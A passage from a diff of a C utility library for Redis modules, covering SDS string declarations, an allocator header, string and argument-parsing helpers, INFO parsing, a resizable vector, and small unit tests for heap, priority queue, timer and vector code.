return SDS_HDR(16,s)->alloc;
case SDS_TYPE_32:
return SDS_HDR(32,s)->alloc;
case SDS_TYPE_64:
return SDS_HDR(64,s)->alloc;
}
return 0;
}
static inline void sdssetalloc(sds s, size_t newlen) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
/* Nothing to do, this type has no total allocation info. */
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->alloc = newlen;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->alloc = newlen;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->alloc = newlen;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->alloc = newlen;
break;
}
}
sds sdsnewlen(const void *init, size_t initlen);
sds sdsnew(const char *init);
sds sdsempty(void);
sds sdsdup(const sds s);
void sdsfree(sds s);
sds sdsgrowzero(sds s, size_t len);
sds sdscatlen(sds s, const void *t, size_t len);
sds sdscat(sds s, const char *t);
sds sdscatsds(sds s, const sds t);
sds sdscpylen(sds s, const char *t, size_t len);
sds sdscpy(sds s, const char *t);
sds sdscatvprintf(sds s, const char *fmt, va_list ap);
#ifdef __GNUC__
sds sdscatprintf(sds s, const char *fmt, ...)
__attribute__((format(printf, 2, 3)));
#else
sds sdscatprintf(sds s, const char *fmt, ...);
#endif
sds sdscatfmt(sds s, char const *fmt, ...);
sds sdstrim(sds s, const char *cset);
void sdsrange(sds s, int start, int end);
void sdsupdatelen(sds s);
void sdsclear(sds s);
int sdscmp(const sds s1, const sds s2);
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count);
void sdsfreesplitres(sds *tokens, int count);
void sdstolower(sds s);
void sdstoupper(sds s);
sds sdsfromlonglong(long long value);
sds sdscatrepr(sds s, const char *p, size_t len);
sds *sdssplitargs(const char *line, int *argc);
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen);
sds sdsjoin(char **argv, int argc, char *sep);
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen);
/* Low level functions exposed to the user API */
sds sdsMakeRoomFor(sds s, size_t addlen);
void sdsIncrLen(sds s, int incr);
sds sdsRemoveFreeSpace(sds s);
size_t sdsAllocSize(sds s);
void *sdsAllocPtr(sds s);
/* Export the allocator used by SDS to the program using SDS.
* Sometimes the program SDS is linked to, may use a different set of
* allocators, but may want to allocate or free things that SDS will
* respectively free or allocate. */
void *sds_malloc(size_t size);
void *sds_realloc(void *ptr, size_t size);
void sds_free(void *ptr);
#ifdef REDIS_TEST
int sdsTest(int argc, char *argv[]);
#endif
#endif
+47
View File
@@ -0,0 +1,47 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/* SDS allocator selection.
*
* This file is used in order to change the SDS allocator at compile time.
* Just define the following defines to what you want to use. Also add
* the include of your alternate allocator if needed (not needed in order
* to use the default libc allocator). */
#if defined(__MACH__)
#include <stdlib.h>
#else
#include <malloc.h>
#endif
//#include "zmalloc.h"
#define s_malloc malloc
#define s_realloc realloc
#define s_free free
+81
View File
@@ -0,0 +1,81 @@
#include <string.h>
#include <sys/param.h>
#include <ctype.h>
#include "strings.h"
#include "alloc.h"
#include "sds.h"
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...) {
// sds s = sdsempty();
// va_list ap;
// va_start(ap, fmt);
// s = sdscatvprintf(s, fmt, ap);
// va_end(ap);
// RedisModuleString *ret = RedisModule_CreateString(ctx, (const char *)s, sdslen(s));
// sdsfree(s);
// return ret;
// }
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2) {
const char *c1, *c2;
size_t l1, l2;
c1 = RedisModule_StringPtrLen(s1, &l1);
c2 = RedisModule_StringPtrLen(s2, &l2);
if (l1 != l2) return 0;
return strncmp(c1, c2, l1) == 0;
}
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2) {
const char *c1;
size_t l1, l2 = strlen(s2);
c1 = RedisModule_StringPtrLen(s1, &l1);
if (l1 != l2) return 0;
return strncmp(c1, s2, l1) == 0;
}
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2) {
const char *c1;
size_t l1, l2 = strlen(s2);
c1 = RedisModule_StringPtrLen(s1, &l1);
if (l1 != l2) return 0;
return strncasecmp(c1, s2, l1) == 0;
}
void RMUtil_StringToLower(RedisModuleString *s) {
size_t l;
char *c = (char *)RedisModule_StringPtrLen(s, &l);
size_t i;
for (i = 0; i < l; i++) {
*c = tolower(*c);
++c;
}
}
void RMUtil_StringToUpper(RedisModuleString *s) {
size_t l;
char *c = (char *)RedisModule_StringPtrLen(s, &l);
size_t i;
for (i = 0; i < l; i++) {
*c = toupper(*c);
++c;
}
}
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options) {
for (size_t ii = 0; ii < n; ++ii) {
const char *p = RedisModule_StringPtrLen(rs[ii], NULL);
if (options & RMUTIL_STRINGCONVERT_COPY) {
p = strdup(p);
}
ss[ii] = p;
}
}
+38
View File
@@ -0,0 +1,38 @@
#ifndef __RMUTIL_STRINGS_H__
#define __RMUTIL_STRINGS_H__
#include <redismodule.h>
/*
* Create a new RedisModuleString object from a printf-style format and arguments.
* Note that RedisModuleString objects CANNOT be used as formatting arguments.
*/
// DEPRECATED since it was added to the RedisModule API. Replaced with a macro below
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...);
#define RMUtil_CreateFormattedString RedisModule_CreateStringPrintf
/* Return 1 if the two strings are equal. Case *sensitive* */
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2);
/* Return 1 if the string is equal to a C NULL terminated string. Case *sensitive* */
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2);
/* Return 1 if the string is equal to a C NULL terminated string. Case *insensitive* */
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2);
/* Converts a redis string to lowercase in place without reallocating anything */
void RMUtil_StringToLower(RedisModuleString *s);
/* Converts a redis string to uppercase in place without reallocating anything */
void RMUtil_StringToUpper(RedisModuleString *s);
// If set, copy the strings using strdup rather than simply storing pointers.
#define RMUTIL_STRINGCONVERT_COPY 1
/**
* Convert one or more RedisModuleString objects into `const char*`.
* Both rs and ss are arrays, and should be of <n> length.
* Options may be 0 or `RMUTIL_STRINGCONVERT_COPY`
*/
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options);
#endif
+69
View File
@@ -0,0 +1,69 @@
#ifndef __TESTUTIL_H__
#define __TESTUTIL_H__
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
static int numTests = 0;
static int numAsserts = 0;
#define TESTFUNC(f) \
printf(" Testing %s\t\t", __STRING(f)); \
numTests++; \
fflush(stdout); \
if (f()) { \
printf(" %s FAILED!\n", __STRING(f)); \
exit(1); \
} else \
printf("[PASS]\n");
#define ASSERTM(expr, ...) \
if (!(expr)) { \
fprintf(stderr, "%s:%d: Assertion '%s' Failed: " __VA_ARGS__ "\n", __FILE__, __LINE__, \
__STRING(expr)); \
return -1; \
} \
numAsserts++;
#define ASSERT(expr) \
if (!(expr)) { \
fprintf(stderr, "%s:%d Assertion '%s' Failed\n", __FILE__, __LINE__, __STRING(expr)); \
return -1; \
} \
numAsserts++;
#define ASSERT_STRING_EQ(s1, s2) ASSERT(!strcmp(s1, s2));
#define ASSERT_EQUAL(x, y, ...) \
if (x != y) { \
fprintf(stderr, "%s:%d: ", __FILE__, __LINE__); \
fprintf(stderr, "%g != %g: " __VA_ARGS__ "\n", (double)x, (double)y); \
return -1; \
} \
numAsserts++;
#define FAIL(fmt, ...) \
{ \
fprintf(stderr, "%s:%d: FAIL: " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__); \
return -1; \
}
#define RETURN_TEST_SUCCESS return 0;
#define TEST_CASE(x, block) \
int x { \
block; \
return 0 \
}
#define PRINT_TEST_SUMMARY printf("\nTotal: %d tests and %d assertions OK\n", numTests, numAsserts);
#define TEST_MAIN(body) \
int main(int argc, char **argv) { \
printf("Starting Test '%s'...\n", argv[0]); \
body; \
PRINT_TEST_SUMMARY; \
printf("\n--------------------\n\n"); \
return 0; \
}
#endif
+38
View File
@@ -0,0 +1,38 @@
#include <stdio.h>
#include "heap.h"
#include "assert.h"
int cmp(void *a, void *b) {
int *__a = (int *) a;
int *__b = (int *) b;
return *__a - *__b;
}
int main(int argc, char **argv) {
int myints[] = {10, 20, 30, 5, 15};
Vector *v = NewVector(int, 5);
for (int i = 0; i < 5; i++) {
Vector_Push(v, myints[i]);
}
Make_Heap(v, 0, v->top, cmp);
int n;
Vector_Get(v, 0, &n);
assert(30 == n);
Heap_Pop(v, 0, v->top, cmp);
v->top = 4;
Vector_Get(v, 0, &n);
assert(20 == n);
Vector_Push(v, 99);
Heap_Push(v, 0, v->top, cmp);
Vector_Get(v, 0, &n);
assert(99 == n);
Vector_Free(v);
printf("PASS!\n");
return 0;
}
@@ -0,0 +1,26 @@
#include <stdio.h>
#include <redismodule.h>
#include <unistd.h>
#include "periodic.h"
#include "assert.h"
#include "test.h"
void timerCb(RedisModuleCtx *ctx, void *p) {
int *x = p;
(*x)++;
}
int testPeriodic() {
int x = 0;
struct RMUtilTimer *tm = RMUtil_NewPeriodicTimer(
timerCb, NULL, &x, (struct timespec){.tv_sec = 0, .tv_nsec = 10000000});
sleep(1);
ASSERT_EQUAL(0, RMUtilTimer_Terminate(tm));
ASSERT(x > 0);
ASSERT(x <= 100);
return 0;
}
TEST_MAIN({ TESTFUNC(testPeriodic); });
@@ -0,0 +1,37 @@
#include <stdio.h>
#include "assert.h"
#include "priority_queue.h"
int cmp(void* i1, void* i2) {
int *__i1 = (int*) i1;
int *__i2 = (int*) i2;
return *__i1 - *__i2;
}
int main(int argc, char **argv) {
PriorityQueue *pq = NewPriorityQueue(int, 10, cmp);
assert(0 == Priority_Queue_Size(pq));
for (int i = 0; i < 5; i++) {
Priority_Queue_Push(pq, i);
}
assert(5 == Priority_Queue_Size(pq));
Priority_Queue_Pop(pq);
assert(4 == Priority_Queue_Size(pq));
Priority_Queue_Push(pq, 10);
Priority_Queue_Push(pq, 20);
Priority_Queue_Push(pq, 15);
int n;
Priority_Queue_Top(pq, &n);
assert(20 == n);
Priority_Queue_Pop(pq);
Priority_Queue_Top(pq, &n);
assert(15 == n);
Priority_Queue_Free(pq);
printf("PASS!\n");
return 0;
}
+67
View File
@@ -0,0 +1,67 @@
#ifndef __TEST_UTIL_H__
#define __TEST_UTIL_H__
#include "util.h"
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#define RMUtil_Test(f) \
if (argc < 2 || RMUtil_ArgExists(__STRING(f), argv, argc, 1)) { \
int rc = f(ctx); \
if (rc != REDISMODULE_OK) { \
RedisModule_ReplyWithError(ctx, "Test " __STRING(f) " FAILED"); \
return REDISMODULE_ERR;\
}\
}
#define RMUtil_Assert(expr) if (!(expr)) { fprintf (stderr, "Assertion '%s' Failed\n", __STRING(expr)); return REDISMODULE_ERR; }
#define RMUtil_AssertReplyEquals(rep, cstr) RMUtil_Assert( \
RMUtil_StringEquals(RedisModule_CreateStringFromCallReply(rep), RedisModule_CreateString(ctx, cstr, strlen(cstr))) \
)
#
/**
* Create an arg list to pass to a redis command handler manually, based on the format in fmt.
* The accepted format specifiers are:
* c - for null terminated c strings
* s - for RedisModuleString* objects
* l - for longs
*
* Example: RMUtil_MakeArgs(ctx, &argc, "clc", "hello", 1337, "world");
*
* Returns an array of RedisModuleString pointers. The size of the array is store in argcp
*/
RedisModuleString **RMUtil_MakeArgs(RedisModuleCtx *ctx, int *argcp, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
RedisModuleString **argv = calloc(strlen(fmt), sizeof(RedisModuleString*));
int argc = 0;
const char *p = fmt;
while(*p) {
if (*p == 'c') {
char *cstr = va_arg(ap,char*);
argv[argc++] = RedisModule_CreateString(ctx, cstr, strlen(cstr));
} else if (*p == 's') {
argv[argc++] = va_arg(ap,void*);;
} else if (*p == 'l') {
long ll = va_arg(ap,long long);
argv[argc++] = RedisModule_CreateStringFromLongLong(ctx, ll);
} else {
goto fmterr;
}
p++;
}
*argcp = argc;
return argv;
fmterr:
free(argv);
return NULL;
}
#endif
+58
View File
@@ -0,0 +1,58 @@
#include "vector.h"
#include <stdio.h>
#include "test.h"
int testVector() {
Vector *v = NewVector(int, 1);
ASSERT(v != NULL);
// Vector_Put(v, 0, 1);
// Vector_Put(v, 1, 3);
for (int i = 0; i < 10; i++) {
Vector_Push(v, i);
}
ASSERT_EQUAL(10, Vector_Size(v));
ASSERT_EQUAL(16, Vector_Cap(v));
for (int i = 0; i < Vector_Size(v); i++) {
int n;
int rc = Vector_Get(v, i, &n);
ASSERT_EQUAL(1, rc);
// printf("%d %d\n", rc, n);
ASSERT_EQUAL(n, i);
}
Vector_Free(v);
v = NewVector(char *, 0);
int N = 4;
char *strings[4] = {"hello", "world", "foo", "bar"};
for (int i = 0; i < N; i++) {
Vector_Push(v, strings[i]);
}
ASSERT_EQUAL(N, Vector_Size(v));
ASSERT(Vector_Cap(v) >= N);
for (int i = 0; i < Vector_Size(v); i++) {
char *x;
int rc = Vector_Get(v, i, &x);
ASSERT_EQUAL(1, rc);
ASSERT_STRING_EQ(x, strings[i]);
}
int rc = Vector_Get(v, 100, NULL);
ASSERT_EQUAL(0, rc);
Vector_Free(v);
return 0;
// Vector_Push(v, "hello");
// Vector_Push(v, "world");
// char *x = NULL;
// int rc = Vector_Getx(v, 0, &x);
// printf("rc: %d got %s\n", rc, x);
}
TEST_MAIN({ TESTFUNC(testVector); });
+299
View File
@@ -0,0 +1,299 @@
#include <stdlib.h>
#include <errno.h>
#include <math.h>
#include <ctype.h>
#include <sys/time.h>
#include <stdarg.h>
#include <limits.h>
#include <string.h>
#define REDISMODULE_EXPERIMENTAL_API
#include <redismodule.h>
#include "util.h"
/**
Check if an argument exists in an argument list (argv,argc), starting at offset.
@return 0 if it doesn't exist, otherwise the offset it exists in
*/
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset) {
size_t larg = strlen(arg);
for (; offset < argc; offset++) {
size_t l;
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
if (l != larg) continue;
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
return offset;
}
}
return 0;
}
/**
Check if an argument exists in an argument list (argv,argc)
@return -1 if it doesn't exist, otherwise the offset it exists in
*/
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc) {
size_t larg = strlen(arg);
for (int offset = 0; offset < argc; offset++) {
size_t l;
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
if (l != larg) continue;
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
return offset;
}
}
return -1;
}
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx) {
RedisModuleCallReply *r = RedisModule_Call(ctx, "INFO", "c", "all");
if (r == NULL || RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) {
return NULL;
}
int cap = 100; // rough estimate of info lines
RMUtilInfo *info = malloc(sizeof(RMUtilInfo));
info->entries = calloc(cap, sizeof(RMUtilInfoEntry));
int i = 0;
size_t sz;
char *text = (char *)RedisModule_CallReplyStringPtr(r, &sz);
char *line = text;
while (line && line < text + sz) {
char *line = strsep(&text, "\r\n");
if (line == NULL) break;
if (!(*line >= 'a' && *line <= 'z')) { // skip non entry lines
continue;
}
char *key = strsep(&line, ":");
info->entries[i].key = strdup(key);
info->entries[i].val = strdup(line);
i++;
if (i >= cap) {
cap *= 2;
info->entries = realloc(info->entries, cap * sizeof(RMUtilInfoEntry));
}
}
info->numEntries = i;
RedisModule_FreeCallReply(r);
return info;
}
void RMUtilRedisInfo_Free(RMUtilInfo *info) {
for (int i = 0; i < info->numEntries; i++) {
free(info->entries[i].key);
free(info->entries[i].val);
}
free(info->entries);
free(info);
}
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val) {
const char *p = NULL;
if (!RMUtilInfo_GetString(info, key, &p)) {
return 0;
}
*val = strtoll(p, NULL, 10);
if ((errno == ERANGE && (*val == LONG_MAX || *val == LONG_MIN)) || (errno != 0 && *val == 0)) {
*val = -1;
return 0;
}
return 1;
}
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str) {
int i;
for (i = 0; i < info->numEntries; i++) {
if (!strcmp(key, info->entries[i].key)) {
*str = info->entries[i].val;
return 1;
}
}
return 0;
}
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d) {
const char *p = NULL;
if (!RMUtilInfo_GetString(info, key, &p)) {
printf("not found %s\n", key);
return 0;
}
*d = strtod(p, NULL);
if ((errno == ERANGE && (*d == HUGE_VAL || *d == -HUGE_VAL)) || (errno != 0 && *d == 0)) {
return 0;
}
return 1;
}
/*
c -- pointer to a Null terminated C string pointer.
b -- pointer to a C buffer, followed by pointer to a size_t for its length
s -- pointer to a RedisModuleString
l -- pointer to Long long integer.
d -- pointer to a Double
* -- do not parse this argument at all
*/
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
int rc = rmutil_vparseArgs(argv, argc, offset, fmt, ap);
va_end(ap);
return rc;
}
// Internal function that parses arguments based on the format described above
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap) {
int i = offset;
char *c = (char *)fmt;
while (*c && i < argc) {
// read c string
if (*c == 'c') {
char **p = va_arg(ap, char **);
*p = (char *)RedisModule_StringPtrLen(argv[i], NULL);
} else if (*c == 'b') {
char **p = va_arg(ap, char **);
size_t *len = va_arg(ap, size_t *);
*p = (char *)RedisModule_StringPtrLen(argv[i], len);
} else if (*c == 's') { // read redis string
RedisModuleString **s = va_arg(ap, void *);
*s = argv[i];
} else if (*c == 'l') { // read long
long long *l = va_arg(ap, long long *);
if (RedisModule_StringToLongLong(argv[i], l) != REDISMODULE_OK) {
return REDISMODULE_ERR;
}
} else if (*c == 'd') { // read double
double *d = va_arg(ap, double *);
if (RedisModule_StringToDouble(argv[i], d) != REDISMODULE_OK) {
return REDISMODULE_ERR;
}
} else if (*c == '*') { // skip current arg
// do nothing
} else {
return REDISMODULE_ERR; // WAT?
}
c++;
i++;
}
// if the format is longer than argc, retun an error
if (*c != 0) {
return REDISMODULE_ERR;
}
return REDISMODULE_OK;
}
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
...) {
int pos = RMUtil_ArgIndex(token, argv, argc);
if (pos < 0) {
return REDISMODULE_ERR;
}
va_list ap;
va_start(ap, fmt);
int rc = rmutil_vparseArgs(argv, argc, pos + 1, fmt, ap);
va_end(ap);
return rc;
}
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
const char *path) {
if (rep == NULL) return NULL;
RedisModuleCallReply *ele = rep;
const char *s = path;
char *e;
long idx;
do {
errno = 0;
idx = strtol(s, &e, 10);
if ((errno == ERANGE && (idx == LONG_MAX || idx == LONG_MIN)) || (errno != 0 && idx == 0) ||
(REDISMODULE_REPLY_ARRAY != RedisModule_CallReplyType(ele)) || (s == e)) {
ele = NULL;
break;
}
s = e;
ele = RedisModule_CallReplyArrayElement(ele, idx - 1);
} while ((ele != NULL) && (*e != '\0'));
return ele;
}
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out) {
if (key == NULL) {
return RMUTIL_VALUE_MISSING;
}
int keytype = RedisModule_KeyType(key);
if (keytype == REDISMODULE_KEYTYPE_EMPTY) {
return RMUTIL_VALUE_EMPTY;
} else if (keytype == REDISMODULE_KEYTYPE_MODULE && RedisModule_ModuleTypeGetType(key) == type) {
*out = RedisModule_ModuleTypeGetValue(key);
return RMUTIL_VALUE_OK;
} else {
return RMUTIL_VALUE_MISMATCH;
}
}
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
const char *keyword, size_t *nargs) {
if (offset > argc) {
return NULL;
}
argv += offset;
argc -= offset;
int ix = RMUtil_ArgIndex(keyword, argv, argc);
if (ix < 0) {
return NULL;
} else if (ix >= argc - 1) {
*nargs = RMUTIL_VARARGS_BADARG;
return argv;
}
argv += (ix + 1);
argc -= (ix + 1);
long long n = 0;
RMUtil_ParseArgs(argv, argc, 0, "l", &n);
if (n > argc - 1 || n < 0) {
*nargs = RMUTIL_VARARGS_BADARG;
return argv;
}
*nargs = n;
return argv + 1;
}
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value) {
RedisModuleCtx *ctx = RedisModule_GetThreadSafeContext(NULL);
RedisModuleCallReply *rep = RedisModule_Call(ctx, "DUMP", "s", key);
if (rep != NULL && RedisModule_CallReplyType(rep) == REDISMODULE_REPLY_STRING) {
size_t n;
const char *s = RedisModule_CallReplyStringPtr(rep, &n);
RedisModule_EmitAOF(aof, "RESTORE", "slb", key, 0, s, n);
} else {
RedisModule_Log(RedisModule_GetContextFromIO(aof), "warning", "Failed to emit AOF");
}
if (rep != NULL) {
RedisModule_FreeCallReply(rep);
}
RedisModule_FreeThreadSafeContext(ctx);
}
+149
View File
@@ -0,0 +1,149 @@
#ifndef __UTIL_H__
#define __UTIL_H__
#include <redismodule.h>
#include <stdarg.h>
/// make sure the response is not NULL or an error, and if it is sends the error to the client and
/// exit the current function
#define RMUTIL_ASSERT_NOERROR(ctx, r) \
if (r == NULL) { \
return RedisModule_ReplyWithError(ctx, "ERR reply is NULL"); \
} else if (RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) { \
RedisModule_ReplyWithCallReply(ctx, r); \
return REDISMODULE_ERR; \
}
#define __rmutil_register_cmd(ctx, cmd, f, mode) \
if (RedisModule_CreateCommand(ctx, cmd, f, mode, 1, 1, 1) == REDISMODULE_ERR) \
return REDISMODULE_ERR;
#define RMUtil_RegisterReadCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "readonly")
#define RMUtil_RegisterWriteCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "write")
/* RedisModule utilities. */
/** DEPRECATED: Return the offset of an arg if it exists in the arg list, or 0 if it's not there */
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset);
/* Same as argExists but returns -1 if not found. Use this, RMUtil_ArgExists is kept for backwards
compatibility. */
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc);
/**
Automatically conver the arg list to corresponding variable pointers according to a given format.
You pass it the command arg list and count, the starting offset, a parsing format, and pointers to
the variables.
The format is a string consisting of the following identifiers:
c -- pointer to a Null terminated C string pointer.
s -- pointer to a RedisModuleString
l -- pointer to Long long integer.
d -- pointer to a Double
* -- do not parse this argument at all
Example: If I want to parse args[1], args[2] as a long long and double, I do:
double d;
long long l;
RMUtil_ParseArgs(argv, argc, 1, "ld", &l, &d);
*/
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...);
/**
Same as RMUtil_ParseArgs, but only parses the arguments after `token`, if it was found.
This is useful for optional stuff like [LIMIT [offset] [limit]]
*/
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
...);
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap);
#define RMUTIL_VARARGS_BADARG ((size_t)-1)
/**
* Parse arguments in the form of KEYWORD {len} {arg} .. {arg}_len.
* If keyword is present, returns the position within `argv` containing the arguments.
* Returns NULL if the keyword is not found.
* If a parse error has occurred, `nargs` is set to RMUTIL_VARARGS_BADARG, but
* the return value is not NULL.
*/
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
const char *keyword, size_t *nargs);
/**
* Default implementation of an AoF rewrite function that simply calls DUMP/RESTORE
* internally. To use this function, pass it as the .aof_rewrite value in
* RedisModuleTypeMethods
*/
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value);
// A single key/value entry in a redis info map
typedef struct {
char *key;
char *val;
} RMUtilInfoEntry;
// Representation of INFO command response, as a list of k/v pairs
typedef struct {
RMUtilInfoEntry *entries;
int numEntries;
} RMUtilInfo;
/**
* Get redis INFO result and parse it as RMUtilInfo.
* Returns NULL if something goes wrong.
* The resulting object needs to be freed with RMUtilRedisInfo_Free
*/
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx);
/**
* Free an RMUtilInfo object and its entries
*/
void RMUtilRedisInfo_Free(RMUtilInfo *info);
/**
* Get an integer value from an info object. Returns 1 if the value was found and
* is an integer, 0 otherwise. the value is placed in 'val'
*/
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val);
/**
* Get a string value from an info object. The value is placed in str.
* Returns 1 if the key was found, 0 if not
*/
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str);
/**
* Get a double value from an info object. Returns 1 if the value was found and is
* a correctly formatted double, 0 otherwise. the value is placed in 'd'
*/
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d);
/*
* Returns a call reply array's element given by a space-delimited path. E.g.,
* the path "1 2 3" will return the 3rd element from the 2 element of the 1st
* element from an array (or NULL if not found)
*/
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
const char *path);
/**
* Extract the module type from an opened key.
*/
typedef enum {
RMUTIL_VALUE_OK = 0,
RMUTIL_VALUE_MISSING,
RMUTIL_VALUE_EMPTY,
RMUTIL_VALUE_MISMATCH
} RMUtil_TryGetValueStatus;
/**
* Tries to extract the module-specific type from the value.
* @param key an opened key (may be null)
* @param type the pointer to the type to match to
* @param[out] out if the value is present, will be set to it.
* @return a value in the @ref RMUtil_TryGetValueStatus enum.
*/
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out);
#endif
+88
View File
@@ -0,0 +1,88 @@
#include "vector.h"
#include <stdio.h>
inline int __vector_PushPtr(Vector *v, void *elem) {
if (v->top == v->cap) {
Vector_Resize(v, v->cap ? v->cap * 2 : 1);
}
__vector_PutPtr(v, v->top, elem);
return v->top;
}
inline int Vector_Get(Vector *v, size_t pos, void *ptr) {
// return 0 if pos is out of bounds
if (pos >= v->top) {
return 0;
}
memcpy(ptr, v->data + (pos * v->elemSize), v->elemSize);
return 1;
}
/* Get the element at the end of the vector, decreasing the size by one */
inline int Vector_Pop(Vector *v, void *ptr) {
if (v->top > 0) {
if (ptr != NULL) {
Vector_Get(v, v->top - 1, ptr);
}
v->top--;
return 1;
}
return 0;
}
inline int __vector_PutPtr(Vector *v, size_t pos, void *elem) {
// resize if pos is out of bounds
if (pos >= v->cap) {
Vector_Resize(v, pos + 1);
}
if (elem) {
memcpy(v->data + pos * v->elemSize, elem, v->elemSize);
} else {
memset(v->data + pos * v->elemSize, 0, v->elemSize);
}
// move the end offset to pos if we grew
if (pos >= v->top) {
v->top = pos + 1;
}
return 1;
}
int Vector_Resize(Vector *v, size_t newcap) {
int oldcap = v->cap;
v->cap = newcap;
v->data = realloc(v->data, v->cap * v->elemSize);
// If we grew:
// put all zeros at the newly realloc'd part of the vector
if (newcap > oldcap) {
int offset = oldcap * v->elemSize;
memset(v->data + offset, 0, v->cap * v->elemSize - offset);
}
return v->cap;
}
Vector *__newVectorSize(size_t elemSize, size_t cap) {
Vector *vec = malloc(sizeof(Vector));
vec->data = calloc(cap, elemSize);
vec->top = 0;
vec->elemSize = elemSize;
vec->cap = cap;
return vec;
}
void Vector_Free(Vector *v) {
free(v->data);
free(v);
}
/* return the used size of the vector, regardless of capacity */
inline int Vector_Size(Vector *v) { return v->top; }
/* return the actual capacity */
inline int Vector_Cap(Vector *v) { return v->cap; }
+73
View File
@@ -0,0 +1,73 @@
#ifndef __VECTOR_H__
#define __VECTOR_H__
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
/*
* Generic resizable vector that can be used if you just want to store stuff
* temporarily.
* Works like C++ std::vector with an underlying resizable buffer
*/
typedef struct {
char *data;
size_t elemSize;
size_t cap;
size_t top;
} Vector;
/* Create a new vector with element size. This should generally be used
* internall by the NewVector macro */
